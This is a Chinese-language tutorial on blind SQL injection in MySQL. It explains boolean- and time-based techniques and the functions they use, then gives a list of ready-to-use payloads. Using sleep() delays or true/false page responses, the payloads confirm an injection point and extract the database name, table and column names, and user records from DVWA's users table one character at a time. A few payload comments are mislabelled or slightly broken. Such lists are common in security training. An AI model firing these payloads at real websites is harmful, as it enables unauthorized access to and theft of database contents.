文章目录
- 一、SQL盲注概述
- 1.1 盲注
- 1.2 盲注常用的函数
- 二、盲注payload
- 2.1 布尔盲注
- 2.2 时间盲注
一、SQL盲注概述
1.1 盲注
- 在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时还需要利用一些方法进行判断或尝试,这个过程称之为盲注。
- 在盲注中,攻击者根据其返回页面的不同来判断信息(可能时页面内容的不同,也可能时响应时间的不同)。一般情况下,盲注可分为两种:
- 基于布尔的盲注
某些情况下,页面返回的结果只要两种(正常或者错误)。通过构造SQL判断语句,查看页面的返回结果(True 或False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。 - 基于时间的盲注
又称延时注入,即使用具有延时功能的函数sleep
、benchmark
等,通过判断这些函数是否正常执行来判断数据库中的数据。
- 基于布尔的盲注
1.2 盲注常用的函数
-
条件语句
以if()
为例- 功能:条件判断
- 语法格式:
if(expr1, expr2, expr3)
: expr1为true则返回expr2,expr1为false则返回expr3。 - 注:仅Mysql支持if(expr1, expr2, expr3)。
-
left()
- 功能:截取具有指定长度的字符串的左边部分。
- 语法格式:
left(str,length)
,如果str或length参数为NULL时,则返回NULL。 - 参数说明
- str:要提取字串的字符串;
- length:正整数,指定将从左边返回的字符数。length为0或负,则left函数返回一个空字符串;length大于str字符串的长度,则left函数返回整个str字符串。
-
length()
- 功能:返回字符串的长度,以字节为单位。
- 语法格式:length(str)
-
substr()、substring()
- 功能:从指定位置开始,截取字符串指定长度的字串。
- 语法格式:
substr(str, pos)
或substr(str, pos, len)
,substring(str, pos)
或substring(str, pos, len)
- 参数说明:
- str:要提取字串的字符串
- pos:提取字串的开始位置
- len:指定要提取的字串的长度
5. ascii()、ord()
- 功能:返回字符串最左边字符的ASCII码值。
- 语法格式:
ascii(str),ord(str)
6. sleep()
- 功能:让语句延迟执行一段时间,执行成功后返回0.
- 语法格式:sleep(N)
,即延迟执行N秒。
- 延时函数benchmark()
- 功能:让某语句执行一定的次数,执行成功后返回0。
- 语法格式:
benchmark(count,expr)
,即让expr执行count次。 - 注:仅Mysql支持该函数。
二、盲注payload
2.1 布尔盲注
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1 and length(database())=1 # //判断数据库名长度
id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
2.2 时间盲注
id=1 and sleep(5) # //数字型则等待5秒
id=1' and sleep(5) # //字符型则等待5秒
id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母